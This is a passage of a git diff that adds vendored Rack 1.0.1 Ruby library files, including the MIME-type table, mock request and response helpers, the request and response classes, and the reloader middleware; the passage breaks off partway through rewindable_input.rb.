+    HTTP_METHOD_OVERRIDE_HEADER = "HTTP_X_HTTP_METHOD_OVERRIDE".freeze
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      if env["REQUEST_METHOD"] == "POST"
+        req = Request.new(env)
+        method = req.POST[METHOD_OVERRIDE_PARAM_KEY] ||
+          env[HTTP_METHOD_OVERRIDE_HEADER]
+        method = method.to_s.upcase
+        if HTTP_METHODS.include?(method)
+          env["rack.methodoverride.original_method"] = env["REQUEST_METHOD"]
+          env["REQUEST_METHOD"] = method
+        end
+      end
+
+      @app.call(env)
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/mime.rb b/vendor/gems/rack-1.0.1/lib/rack/mime.rb
new file mode 100644
index 00000000..5a6a73a9
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/mime.rb
@@ -0,0 +1,204 @@
+module Rack
+  module Mime
+    # Returns String with mime type if found, otherwise use +fallback+.
+    # +ext+ should be filename extension in the '.ext' format that
+    #       File.extname(file) returns.
+    # +fallback+ may be any object
+    #
+    # Also see the documentation for MIME_TYPES
+    #
+    # Usage:
+    #     Rack::Mime.mime_type('.foo')
+    #
+    # This is a shortcut for:
+    #     Rack::Mime::MIME_TYPES.fetch('.foo', 'application/octet-stream')
+
+    def mime_type(ext, fallback='application/octet-stream')
+      MIME_TYPES.fetch(ext, fallback)
+    end
+    module_function :mime_type
+
+    # List of most common mime-types, selected various sources
+    # according to their usefulness in a webserving scope for Ruby
+    # users.
+    #
+    # To amend this list with your local mime.types list you can use:
+    #
+    #     require 'webrick/httputils'
+    #     list = WEBrick::HTTPUtils.load_mime_types('/etc/mime.types')
+    #     Rack::Mime::MIME_TYPES.merge!(list)
+    #
+    # To add the list mongrel provides, use:
+    #
+    #     require 'mongrel/handlers'
+    #     Rack::Mime::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES)
+
+    MIME_TYPES = {
+      ".3gp"     => "video/3gpp",
+      ".a"       => "application/octet-stream",
+      ".ai"      => "application/postscript",
+      ".aif"     => "audio/x-aiff",
+      ".aiff"    => "audio/x-aiff",
+      ".asc"     => "application/pgp-signature",
+      ".asf"     => "video/x-ms-asf",
+      ".asm"     => "text/x-asm",
+      ".asx"     => "video/x-ms-asf",
+      ".atom"    => "application/atom+xml",
+      ".au"      => "audio/basic",
+      ".avi"     => "video/x-msvideo",
+      ".bat"     => "application/x-msdownload",
+      ".bin"     => "application/octet-stream",
+      ".bmp"     => "image/bmp",
+      ".bz2"     => "application/x-bzip2",
+      ".c"       => "text/x-c",
+      ".cab"     => "application/vnd.ms-cab-compressed",
+      ".cc"      => "text/x-c",
+      ".chm"     => "application/vnd.ms-htmlhelp",
+      ".class"   => "application/octet-stream",
+      ".com"     => "application/x-msdownload",
+      ".conf"    => "text/plain",
+      ".cpp"     => "text/x-c",
+      ".crt"     => "application/x-x509-ca-cert",
+      ".css"     => "text/css",
+      ".csv"     => "text/csv",
+      ".cxx"     => "text/x-c",
+      ".deb"     => "application/x-debian-package",
+      ".der"     => "application/x-x509-ca-cert",
+      ".diff"    => "text/x-diff",
+      ".djv"     => "image/vnd.djvu",
+      ".djvu"    => "image/vnd.djvu",
+      ".dll"     => "application/x-msdownload",
+      ".dmg"     => "application/octet-stream",
+      ".doc"     => "application/msword",
+      ".dot"     => "application/msword",
+      ".dtd"     => "application/xml-dtd",
+      ".dvi"     => "application/x-dvi",
+      ".ear"     => "application/java-archive",
+      ".eml"     => "message/rfc822",
+      ".eps"     => "application/postscript",
+      ".exe"     => "application/x-msdownload",
+      ".f"       => "text/x-fortran",
+      ".f77"     => "text/x-fortran",
+      ".f90"     => "text/x-fortran",
+      ".flv"     => "video/x-flv",
+      ".for"     => "text/x-fortran",
+      ".gem"     => "application/octet-stream",
+      ".gemspec" => "text/x-script.ruby",
+      ".gif"     => "image/gif",
+      ".gz"      => "application/x-gzip",
+      ".h"       => "text/x-c",
+      ".hh"      => "text/x-c",
+      ".htm"     => "text/html",
+      ".html"    => "text/html",
+      ".ico"     => "image/vnd.microsoft.icon",
+      ".ics"     => "text/calendar",
+      ".ifb"     => "text/calendar",
+      ".iso"     => "application/octet-stream",
+      ".jar"     => "application/java-archive",
+      ".java"    => "text/x-java-source",
+      ".jnlp"    => "application/x-java-jnlp-file",
+      ".jpeg"    => "image/jpeg",
+      ".jpg"     => "image/jpeg",
+      ".js"      => "application/javascript",
+      ".json"    => "application/json",
+      ".log"     => "text/plain",
+      ".m3u"     => "audio/x-mpegurl",
+      ".m4v"     => "video/mp4",
+      ".man"     => "text/troff",
+      ".mathml"  => "application/mathml+xml",
+      ".mbox"    => "application/mbox",
+      ".mdoc"    => "text/troff",
+      ".me"      => "text/troff",
+      ".mid"     => "audio/midi",
+      ".midi"    => "audio/midi",
+      ".mime"    => "message/rfc822",
+      ".mml"     => "application/mathml+xml",
+      ".mng"     => "video/x-mng",
+      ".mov"     => "video/quicktime",
+      ".mp3"     => "audio/mpeg",
+      ".mp4"     => "video/mp4",
+      ".mp4v"    => "video/mp4",
+      ".mpeg"    => "video/mpeg",
+      ".mpg"     => "video/mpeg",
+      ".ms"      => "text/troff",
+      ".msi"     => "application/x-msdownload",
+      ".odp"     => "application/vnd.oasis.opendocument.presentation",
+      ".ods"     => "application/vnd.oasis.opendocument.spreadsheet",
+      ".odt"     => "application/vnd.oasis.opendocument.text",
+      ".ogg"     => "application/ogg",
+      ".p"       => "text/x-pascal",
+      ".pas"     => "text/x-pascal",
+      ".pbm"     => "image/x-portable-bitmap",
+      ".pdf"     => "application/pdf",
+      ".pem"     => "application/x-x509-ca-cert",
+      ".pgm"     => "image/x-portable-graymap",
+      ".pgp"     => "application/pgp-encrypted",
+      ".pkg"     => "application/octet-stream",
+      ".pl"      => "text/x-script.perl",
+      ".pm"      => "text/x-script.perl-module",
+      ".png"     => "image/png",
+      ".pnm"     => "image/x-portable-anymap",
+      ".ppm"     => "image/x-portable-pixmap",
+      ".pps"     => "application/vnd.ms-powerpoint",
+      ".ppt"     => "application/vnd.ms-powerpoint",
+      ".ps"      => "application/postscript",
+      ".psd"     => "image/vnd.adobe.photoshop",
+      ".py"      => "text/x-script.python",
+      ".qt"      => "video/quicktime",
+      ".ra"      => "audio/x-pn-realaudio",
+      ".rake"    => "text/x-script.ruby",
+      ".ram"     => "audio/x-pn-realaudio",
+      ".rar"     => "application/x-rar-compressed",
+      ".rb"      => "text/x-script.ruby",
+      ".rdf"     => "application/rdf+xml",
+      ".roff"    => "text/troff",
+      ".rpm"     => "application/x-redhat-package-manager",
+      ".rss"     => "application/rss+xml",
+      ".rtf"     => "application/rtf",
+      ".ru"      => "text/x-script.ruby",
+      ".s"       => "text/x-asm",
+      ".sgm"     => "text/sgml",
+      ".sgml"    => "text/sgml",
+      ".sh"      => "application/x-sh",
+      ".sig"     => "application/pgp-signature",
+      ".snd"     => "audio/basic",
+      ".so"      => "application/octet-stream",
+      ".svg"     => "image/svg+xml",
+      ".svgz"    => "image/svg+xml",
+      ".swf"     => "application/x-shockwave-flash",
+      ".t"       => "text/troff",
+      ".tar"     => "application/x-tar",
+      ".tbz"     => "application/x-bzip-compressed-tar",
+      ".tcl"     => "application/x-tcl",
+      ".tex"     => "application/x-tex",
+      ".texi"    => "application/x-texinfo",
+      ".texinfo" => "application/x-texinfo",
+      ".text"    => "text/plain",
+      ".tif"     => "image/tiff",
+      ".tiff"    => "image/tiff",
+      ".torrent" => "application/x-bittorrent",
+      ".tr"      => "text/troff",
+      ".txt"     => "text/plain",
+      ".vcf"     => "text/x-vcard",
+      ".vcs"     => "text/x-vcalendar",
+      ".vrml"    => "model/vrml",
+      ".war"     => "application/java-archive",
+      ".wav"     => "audio/x-wav",
+      ".wma"     => "audio/x-ms-wma",
+      ".wmv"     => "video/x-ms-wmv",
+      ".wmx"     => "video/x-ms-wmx",
+      ".wrl"     => "model/vrml",
+      ".wsdl"    => "application/wsdl+xml",
+      ".xbm"     => "image/x-xbitmap",
+      ".xhtml"   => "application/xhtml+xml",
+      ".xls"     => "application/vnd.ms-excel",
+      ".xml"     => "application/xml",
+      ".xpm"     => "image/x-xpixmap",
+      ".xsl"     => "application/xml",
+      ".xslt"    => "application/xslt+xml",
+      ".yaml"    => "text/yaml",
+      ".yml"     => "text/yaml",
+      ".zip"     => "application/zip",
+    }
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/mock.rb b/vendor/gems/rack-1.0.1/lib/rack/mock.rb
new file mode 100644
index 00000000..c34a2d7a
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/mock.rb
@@ -0,0 +1,163 @@
+require 'uri'
+require 'stringio'
+require 'rack/lint'
+require 'rack/utils'
+require 'rack/response'
+
+module Rack
+  # Rack::MockRequest helps testing your Rack application without
+  # actually using HTTP.
+  #
+  # After performing a request on a URL with get/post/put/delete, it
+  # returns a MockResponse with useful helper methods for effective
+  # testing.
+  #
+  # You can pass a hash with additional configuration to the
+  # get/post/put/delete.
+  # <tt>:input</tt>:: A String or IO-like to be used as rack.input.
+  # <tt>:fatal</tt>:: Raise a FatalWarning if the app writes to rack.errors.
+  # <tt>:lint</tt>:: If true, wrap the application in a Rack::Lint.
+
+  class MockRequest
+    class FatalWarning < RuntimeError
+    end
+
+    class FatalWarner
+      def puts(warning)
+        raise FatalWarning, warning
+      end
+
+      def write(warning)
+        raise FatalWarning, warning
+      end
+
+      def flush
+      end
+
+      def string
+        ""
+      end
+    end
+
+    DEFAULT_ENV = {
+      "rack.version" => [1,0],
+      "rack.input" => StringIO.new,
+      "rack.errors" => StringIO.new,
+      "rack.multithread" => true,
+      "rack.multiprocess" => true,
+      "rack.run_once" => false,
+    }
+
+    def initialize(app)
+      @app = app
+    end
+
+    def get(uri, opts={})    request("GET", uri, opts)    end
+    def post(uri, opts={})   request("POST", uri, opts)   end
+    def put(uri, opts={})    request("PUT", uri, opts)    end
+    def delete(uri, opts={}) request("DELETE", uri, opts) end
+
+    def request(method="GET", uri="", opts={})
+      env = self.class.env_for(uri, opts.merge(:method => method))
+
+      if opts[:lint]
+        app = Rack::Lint.new(@app)
+      else
+        app = @app
+      end
+
+      errors = env["rack.errors"]
+      MockResponse.new(*(app.call(env) + [errors]))
+    end
+
+    # Return the Rack environment used for a request to +uri+.
+    def self.env_for(uri="", opts={})
+      uri = URI(uri)
+      env = DEFAULT_ENV.dup
+
+      env["REQUEST_METHOD"] = opts[:method] || "GET"
+      env["SERVER_NAME"] = uri.host || "example.org"
+      env["SERVER_PORT"] = uri.port ? uri.port.to_s : "80"
+      env["QUERY_STRING"] = uri.query.to_s
+      env["PATH_INFO"] = (!uri.path || uri.path.empty?) ? "/" : uri.path
+      env["rack.url_scheme"] = uri.scheme || "http"
+
+      env["SCRIPT_NAME"] = opts[:script_name] || ""
+
+      if opts[:fatal]
+        env["rack.errors"] = FatalWarner.new
+      else
+        env["rack.errors"] = StringIO.new
+      end
+
+      opts[:input] ||= ""
+      if String === opts[:input]
+        rack_input = StringIO.new(opts[:input])
+      else
+        rack_input = opts[:input]
+      end
+
+      rack_input.set_encoding(Encoding::BINARY) if rack_input.respond_to?(:set_encoding)
+      env['rack.input'] = rack_input
+
+      env["CONTENT_LENGTH"] ||= env["rack.input"].length.to_s
+
+      opts.each { |field, value|
+        env[field] = value  if String === field
+      }
+
+      env
+    end
+  end
+
+  # Rack::MockResponse provides useful helpers for testing your apps.
+  # Usually, you don't create the MockResponse on your own, but use
+  # MockRequest.
+
+  class MockResponse
+    def initialize(status, headers, body, errors=StringIO.new(""))
+      @status = status.to_i
+
+      @original_headers = headers
+      @headers = Rack::Utils::HeaderHash.new
+      headers.each { |field, values|
+        @headers[field] = values
+        @headers[field] = ""  if values.empty?
+      }
+
+      @body = ""
+      body.each { |part| @body << part }
+
+      @errors = errors.string
+    end
+
+    # Status
+    attr_reader :status
+
+    # Headers
+    attr_reader :headers, :original_headers
+
+    def [](field)
+      headers[field]
+    end
+
+
+    # Body
+    attr_reader :body
+
+    def =~(other)
+      @body =~ other
+    end
+
+    def match(other)
+      @body.match other
+    end
+
+
+    # Errors
+    attr_accessor :errors
+
+
+    include Response::Helpers
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/recursive.rb b/vendor/gems/rack-1.0.1/lib/rack/recursive.rb
new file mode 100644
index 00000000..bf8b9659
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/recursive.rb
@@ -0,0 +1,57 @@
+require 'uri'
+
+module Rack
+  # Rack::ForwardRequest gets caught by Rack::Recursive and redirects
+  # the current request to the app at +url+.
+  #
+  #   raise ForwardRequest.new("/not-found")
+  #
+
+  class ForwardRequest < Exception
+    attr_reader :url, :env
+
+    def initialize(url, env={})
+      @url = URI(url)
+      @env = env
+
+      @env["PATH_INFO"] =       @url.path
+      @env["QUERY_STRING"] =    @url.query  if @url.query
+      @env["HTTP_HOST"] =       @url.host   if @url.host
+      @env["HTTP_PORT"] =       @url.port   if @url.port
+      @env["rack.url_scheme"] = @url.scheme if @url.scheme
+
+      super "forwarding to #{url}"
+    end
+  end
+
+  # Rack::Recursive allows applications called down the chain to
+  # include data from other applications (by using
+  # <tt>rack['rack.recursive.include'][...]</tt> or raise a
+  # ForwardRequest to redirect internally.
+
+  class Recursive
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      @script_name = env["SCRIPT_NAME"]
+      @app.call(env.merge('rack.recursive.include' => method(:include)))
+    rescue ForwardRequest => req
+      call(env.merge(req.env))
+    end
+
+    def include(env, path)
+      unless path.index(@script_name) == 0 && (path[@script_name.size] == ?/ ||
+                                               path[@script_name.size].nil?)
+        raise ArgumentError, "can only include below #{@script_name}, not #{path}"
+      end
+
+      env = env.merge("PATH_INFO" => path, "SCRIPT_NAME" => @script_name,
+                      "REQUEST_METHOD" => "GET",
+                      "CONTENT_LENGTH" => "0", "CONTENT_TYPE" => "",
+                      "rack.input" => StringIO.new(""))
+      @app.call(env)
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/reloader.rb b/vendor/gems/rack-1.0.1/lib/rack/reloader.rb
new file mode 100644
index 00000000..a9c566f7
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/reloader.rb
@@ -0,0 +1,106 @@
+#          Copyright (c) 2009 Michael Fellinger m.fellinger@gmail.com
+# All files in this distribution are subject to the terms of the Ruby license.
+
+require 'pathname'
+
+module Rack
+
+  # High performant source reloader
+  #
+  # This class acts as Rack middleware.
+  #
+  # What makes it especially suited for use in a production environment is that
+  # any file will only be checked once and there will only be made one system
+  # call stat(2).
+  #
+  # Please note that this will not reload files in the background, it does so
+  # only when actively called.
+  #
+  # It is performing a check/reload cycle at the start of every request, but
+  # also respects a cool down time, during which nothing will be done.
+  class Reloader
+    def initialize(app, cooldown = 10, backend = Stat)
+      @app = app
+      @cooldown = cooldown
+      @last = (Time.now - cooldown)
+      @cache = {}
+      @mtimes = {}
+
+      extend backend
+    end
+
+    def call(env)
+      if @cooldown and Time.now > @last + @cooldown
+        if Thread.list.size > 1
+          Thread.exclusive{ reload! }
+        else
+          reload!
+        end
+
+        @last = Time.now
+      end
+
+      @app.call(env)
+    end
+
+    def reload!(stderr = $stderr)
+      rotation do |file, mtime|
+        previous_mtime = @mtimes[file] ||= mtime
+        safe_load(file, mtime, stderr) if mtime > previous_mtime
+      end
+    end
+
+    # A safe Kernel::load, issuing the hooks depending on the results
+    def safe_load(file, mtime, stderr = $stderr)
+      load(file)
+      stderr.puts "#{self.class}: reloaded `#{file}'"
+      file
+    rescue LoadError, SyntaxError => ex
+      stderr.puts ex
+    ensure
+      @mtimes[file] = mtime
+    end
+
+    module Stat
+      def rotation
+        files = [$0, *$LOADED_FEATURES].uniq
+        paths = ['./', *$LOAD_PATH].uniq
+
+        files.map{|file|
+          next if file =~ /\.(so|bundle)$/ # cannot reload compiled files
+
+          found, stat = figure_path(file, paths)
+          next unless found && stat && mtime = stat.mtime
+
+          @cache[file] = found
+
+          yield(found, mtime)
+        }.compact
+      end
+
+      # Takes a relative or absolute +file+ name, a couple possible +paths+ that
+      # the +file+ might reside in. Returns the full path and File::Stat for the
+      # path.
+      def figure_path(file, paths)
+        found = @cache[file]
+        found = file if !found and Pathname.new(file).absolute?
+        found, stat = safe_stat(found)
+        return found, stat if found
+
+        paths.find do |possible_path|
+          path = ::File.join(possible_path, file)
+          found, stat = safe_stat(path)
+          return ::File.expand_path(found), stat if found
+        end
+      end
+
+      def safe_stat(file)
+        return unless file
+        stat = ::File.stat(file)
+        return file, stat if stat.file?
+      rescue Errno::ENOENT, Errno::ENOTDIR
+        @cache.delete(file) and false
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/request.rb b/vendor/gems/rack-1.0.1/lib/rack/request.rb
new file mode 100644
index 00000000..2f64bd6c
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/request.rb
@@ -0,0 +1,246 @@
+require 'rack/utils'
+
+module Rack
+  # Rack::Request provides a convenient interface to a Rack
+  # environment.  It is stateless, the environment +env+ passed to the
+  # constructor will be directly modified.
+  #
+  #   req = Rack::Request.new(env)
+  #   req.post?
+  #   req.params["data"]
+  #
+  # The environment hash passed will store a reference to the Request object
+  # instantiated so that it will only instantiate if an instance of the Request
+  # object doesn't already exist.
+
+  class Request
+    # The environment of the request.
+    attr_reader :env
+
+    def initialize(env)
+      @env = env
+    end
+
+    def body;            @env["rack.input"]                       end
+    def scheme;          @env["rack.url_scheme"]                  end
+    def script_name;     @env["SCRIPT_NAME"].to_s                 end
+    def path_info;       @env["PATH_INFO"].to_s                   end
+    def port;            @env["SERVER_PORT"].to_i                 end
+    def request_method;  @env["REQUEST_METHOD"]                   end
+    def query_string;    @env["QUERY_STRING"].to_s                end
+    def content_length;  @env['CONTENT_LENGTH']                   end
+    def content_type;    @env['CONTENT_TYPE']                     end
+    def session;         @env['rack.session'] ||= {}              end
+    def session_options; @env['rack.session.options'] ||= {}      end
+
+    # The media type (type/subtype) portion of the CONTENT_TYPE header
+    # without any media type parameters. e.g., when CONTENT_TYPE is
+    # "text/plain;charset=utf-8", the media-type is "text/plain".
+    #
+    # For more information on the use of media types in HTTP, see:
+    # http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.7
+    def media_type
+      content_type && content_type.split(/\s*[;,]\s*/, 2).first.downcase
+    end
+
+    # The media type parameters provided in CONTENT_TYPE as a Hash, or
+    # an empty Hash if no CONTENT_TYPE or media-type parameters were
+    # provided.  e.g., when the CONTENT_TYPE is "text/plain;charset=utf-8",
+    # this method responds with the following Hash:
+    #   { 'charset' => 'utf-8' }
+    def media_type_params
+      return {} if content_type.nil?
+      content_type.split(/\s*[;,]\s*/)[1..-1].
+        collect { |s| s.split('=', 2) }.
+        inject({}) { |hash,(k,v)| hash[k.downcase] = v ; hash }
+    end
+
+    # The character set of the request body if a "charset" media type
+    # parameter was given, or nil if no "charset" was specified. Note
+    # that, per RFC2616, text/* media types that specify no explicit
+    # charset are to be considered ISO-8859-1.
+    def content_charset
+      media_type_params['charset']
+    end
+
+    def host
+      # Remove port number.
+      (@env["HTTP_HOST"] || @env["SERVER_NAME"]).to_s.gsub(/:\d+\z/, '')
+    end
+
+    def script_name=(s); @env["SCRIPT_NAME"] = s.to_s             end
+    def path_info=(s);   @env["PATH_INFO"] = s.to_s               end
+
+    def get?;            request_method == "GET"                  end
+    def post?;           request_method == "POST"                 end
+    def put?;            request_method == "PUT"                  end
+    def delete?;         request_method == "DELETE"               end
+    def head?;           request_method == "HEAD"                 end
+
+    # The set of form-data media-types. Requests that do not indicate
+    # one of the media types presents in this list will not be eligible
+    # for form-data / param parsing.
+    FORM_DATA_MEDIA_TYPES = [
+      nil,
+      'application/x-www-form-urlencoded',
+      'multipart/form-data'
+    ]
+
+    # The set of media-types. Requests that do not indicate
+    # one of the media types presents in this list will not be eligible
+    # for param parsing like soap attachments or generic multiparts
+    PARSEABLE_DATA_MEDIA_TYPES = [
+      'multipart/related',
+      'multipart/mixed'
+    ]  
+
+    # Determine whether the request body contains form-data by checking
+    # the request media_type against registered form-data media-types:
+    # "application/x-www-form-urlencoded" and "multipart/form-data". The
+    # list of form-data media types can be modified through the
+    # +FORM_DATA_MEDIA_TYPES+ array.
+    def form_data?
+      FORM_DATA_MEDIA_TYPES.include?(media_type)
+    end
+
+    # Determine whether the request body contains data by checking
+    # the request media_type against registered parse-data media-types
+    def parseable_data?
+      PARSEABLE_DATA_MEDIA_TYPES.include?(media_type)
+    end
+
+    # Returns the data recieved in the query string.
+    def GET
+      if @env["rack.request.query_string"] == query_string
+        @env["rack.request.query_hash"]
+      else
+        @env["rack.request.query_string"] = query_string
+        @env["rack.request.query_hash"]   =
+          Utils.parse_nested_query(query_string)
+      end
+    end
+
+    # Returns the data recieved in the request body.
+    #
+    # This method support both application/x-www-form-urlencoded and
+    # multipart/form-data.
+    def POST
+      if @env["rack.request.form_input"].eql? @env["rack.input"]
+        @env["rack.request.form_hash"]
+      elsif form_data? || parseable_data?
+        @env["rack.request.form_input"] = @env["rack.input"]
+        unless @env["rack.request.form_hash"] =
+            Utils::Multipart.parse_multipart(env)
+          form_vars = @env["rack.input"].read
+
+          # Fix for Safari Ajax postings that always append \0
+          form_vars.sub!(/\0\z/, '')
+
+          @env["rack.request.form_vars"] = form_vars
+          @env["rack.request.form_hash"] = Utils.parse_nested_query(form_vars)
+
+          @env["rack.input"].rewind
+        end
+        @env["rack.request.form_hash"]
+      else
+        {}
+      end
+    end
+
+    # The union of GET and POST data.
+    def params
+      self.put? ? self.GET : self.GET.update(self.POST)
+    rescue EOFError => e
+      self.GET
+    end
+
+    # shortcut for request.params[key]
+    def [](key)
+      params[key.to_s]
+    end
+
+    # shortcut for request.params[key] = value
+    def []=(key, value)
+      params[key.to_s] = value
+    end
+
+    # like Hash#values_at
+    def values_at(*keys)
+      keys.map{|key| params[key] }
+    end
+
+    # the referer of the client or '/'
+    def referer
+      @env['HTTP_REFERER'] || '/'
+    end
+    alias referrer referer
+
+
+    def cookies
+      return {}  unless @env["HTTP_COOKIE"]
+
+      if @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"]
+        @env["rack.request.cookie_hash"]
+      else
+        @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"]
+        # According to RFC 2109:
+        #   If multiple cookies satisfy the criteria above, they are ordered in
+        #   the Cookie header such that those with more specific Path attributes
+        #   precede those with less specific.  Ordering with respect to other
+        #   attributes (e.g., Domain) is unspecified.
+        @env["rack.request.cookie_hash"] =
+          Utils.parse_query(@env["rack.request.cookie_string"], ';,').inject({}) {|h,(k,v)|
+            h[k] = Array === v ? v.first : v
+            h
+          }
+      end
+    end
+
+    def xhr?
+      @env["HTTP_X_REQUESTED_WITH"] == "XMLHttpRequest"
+    end
+
+    # Tries to return a remake of the original request URL as a string.
+    def url
+      url = scheme + "://"
+      url << host
+
+      if scheme == "https" && port != 443 ||
+          scheme == "http" && port != 80
+        url << ":#{port}"
+      end
+
+      url << fullpath
+
+      url
+    end
+    
+    def path
+      script_name + path_info
+    end
+    
+    def fullpath
+      query_string.empty? ? path : "#{path}?#{query_string}"
+    end
+
+    def accept_encoding
+      @env["HTTP_ACCEPT_ENCODING"].to_s.split(/,\s*/).map do |part|
+        m = /^([^\s,]+?)(?:;\s*q=(\d+(?:\.\d+)?))?$/.match(part) # From WEBrick
+
+        if m
+          [m[1], (m[2] || 1.0).to_f]
+        else
+          raise "Invalid value for Accept-Encoding: #{part.inspect}"
+        end
+      end
+    end
+
+    def ip
+      if addr = @env['HTTP_X_FORWARDED_FOR']
+        addr.split(',').last.strip
+      else
+        @env['REMOTE_ADDR']
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/response.rb b/vendor/gems/rack-1.0.1/lib/rack/response.rb
new file mode 100644
index 00000000..28b4d830
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/response.rb
@@ -0,0 +1,183 @@
+require 'rack/request'
+require 'rack/utils'
+
+module Rack
+  # Rack::Response provides a convenient interface to create a Rack
+  # response.
+  #
+  # It allows setting of headers and cookies, and provides useful
+  # defaults (a OK response containing HTML).
+  #
+  # You can use Response#write to iteratively generate your response,
+  # but note that this is buffered by Rack::Response until you call
+  # +finish+.  +finish+ however can take a block inside which calls to
+  # +write+ are syncronous with the Rack response.
+  #
+  # Your application's +call+ should end returning Response#finish.
+
+  class Response
+    attr_accessor :length
+
+    def initialize(body=[], status=200, header={}, &block)
+      @status = status
+      @header = Utils::HeaderHash.new({"Content-Type" => "text/html"}.
+                                      merge(header))
+
+      @writer = lambda { |x| @body << x }
+      @block = nil
+      @length = 0
+
+      @body = []
+
+      if body.respond_to? :to_str
+        write body.to_str
+      elsif body.respond_to?(:each)
+        body.each { |part|
+          write part.to_s
+        }
+      else
+        raise TypeError, "stringable or iterable required"
+      end
+
+      yield self  if block_given?
+    end
+
+    attr_reader :header
+    attr_accessor :status, :body
+
+    def [](key)
+      header[key]
+    end
+
+    def []=(key, value)
+      header[key] = value
+    end
+
+    def set_cookie(key, value)
+      case value
+      when Hash
+        domain  = "; domain="  + value[:domain]    if value[:domain]
+        path    = "; path="    + value[:path]      if value[:path]
+        # According to RFC 2109, we need dashes here.
+        # N.B.: cgi.rb uses spaces...
+        expires = "; expires=" + value[:expires].clone.gmtime.
+          strftime("%a, %d-%b-%Y %H:%M:%S GMT")    if value[:expires]
+        secure = "; secure"  if value[:secure]
+        httponly = "; HttpOnly" if value[:httponly]
+        value = value[:value]
+      end
+      value = [value]  unless Array === value
+      cookie = Utils.escape(key) + "=" +
+        value.map { |v| Utils.escape v }.join("&") +
+        "#{domain}#{path}#{expires}#{secure}#{httponly}"
+
+      case self["Set-Cookie"]
+      when Array
+        self["Set-Cookie"] << cookie
+      when String
+        self["Set-Cookie"] = [self["Set-Cookie"], cookie]
+      when nil
+        self["Set-Cookie"] = cookie
+      end
+    end
+
+    def delete_cookie(key, value={})
+      unless Array === self["Set-Cookie"]
+        self["Set-Cookie"] = [self["Set-Cookie"]].compact
+      end
+
+      self["Set-Cookie"].reject! { |cookie|
+        cookie =~ /\A#{Utils.escape(key)}=/
+      }
+
+      set_cookie(key,
+                 {:value => '', :path => nil, :domain => nil,
+                   :expires => Time.at(0) }.merge(value))
+    end
+
+    def redirect(target, status=302)
+      self.status = status
+      self["Location"] = target
+    end
+
+    def finish(&block)
+      @block = block
+
+      if [204, 304].include?(status.to_i)
+        header.delete "Content-Type"
+        [status.to_i, header.to_hash, []]
+      else
+        [status.to_i, header.to_hash, self]
+      end
+    end
+    alias to_a finish           # For *response
+
+    def each(&callback)
+      @body.each(&callback)
+      @writer = callback
+      @block.call(self)  if @block
+    end
+
+    # Append to body and update Content-Length.
+    #
+    # NOTE: Do not mix #write and direct #body access!
+    #
+    def write(str)
+      s = str.to_s
+      @length += Rack::Utils.bytesize(s)
+      @writer.call s
+
+      header["Content-Length"] = @length.to_s
+      str
+    end
+
+    def close
+      body.close if body.respond_to?(:close)
+    end
+
+    def empty?
+      @block == nil && @body.empty?
+    end
+
+    alias headers header
+
+    module Helpers
+      def invalid?;       @status < 100 || @status >= 600;       end
+
+      def informational?; @status >= 100 && @status < 200;       end
+      def successful?;    @status >= 200 && @status < 300;       end
+      def redirection?;   @status >= 300 && @status < 400;       end
+      def client_error?;  @status >= 400 && @status < 500;       end
+      def server_error?;  @status >= 500 && @status < 600;       end
+
+      def ok?;            @status == 200;                        end
+      def forbidden?;     @status == 403;                        end
+      def not_found?;     @status == 404;                        end
+
+      def redirect?;      [301, 302, 303, 307].include? @status; end
+      def empty?;         [201, 204, 304].include?      @status; end
+
+      # Headers
+      attr_reader :headers, :original_headers
+
+      def include?(header)
+        !!headers[header]
+      end
+
+      def content_type
+        headers["Content-Type"]
+      end
+
+      def content_length
+        cl = headers["Content-Length"]
+        cl ? cl.to_i : cl
+      end
+
+      def location
+        headers["Location"]
+      end
+    end
+
+    include Helpers
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/rewindable_input.rb b/vendor/gems/rack-1.0.1/lib/rack/rewindable_input.rb
new file mode 100644
index 00000000..accd96be
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/rewindable_input.rb
@@ -0,0 +1,100 @@
+require 'tempfile'
+
+module Rack
+  # Class which can make any IO object rewindable, including non-rewindable ones. It does
+  # this by buffering the data into a tempfile, which is rewindable.
+  #
+  # rack.input is required to be rewindable, so if your input stream IO is non-rewindable
+  # by nature (e.g. a pipe or a socket) then you can wrap it in an object of this class
+  # to easily make it rewindable.
+  #
+  # Don't forget to call #close when you're done. This frees up temporary resources that
+  # RewindableInput uses, though it does *not* close the original IO object.
+  class RewindableInput
+    def initialize(io)
+      @io = io
+      @rewindable_io = nil
+      @unlinked = false
+    end
+    
+    def gets
+      make_rewindable unless @rewindable_io
+      @rewindable_io.gets
+    end
+    
+    def read(*args)
+      make_rewindable unless @rewindable_io
+      @rewindable_io.read(*args)
+    end
+    
+    def each(&block)
+      make_rewindable unless @rewindable_io
+      @rewindable_io.each(&block)
+    end
+    
+    def rewind
+      make_rewindable unless @rewindable_io
+      @rewindable_io.rewind
+    end
+    
+    # Closes this RewindableInput object without closing the originally
+    # wrapped IO oject. Cleans up any temporary resources that this RewindableInput
+    # has created.
+    #
+    # This method may be called multiple times. It does nothing on subsequent calls.
+    def close
+      if @rewindable_io
+        if @unlinked
+          @rewindable_io.close
+        else
+          @rewindable_io.close!
+        end
+        @rewindable_io = nil
+      end
+    end
+    
+    private
+    
+    # Ruby's Tempfile class has a bug. Subclass it and fix it.
+    class Tempfile < ::Tempfile
+      def _close
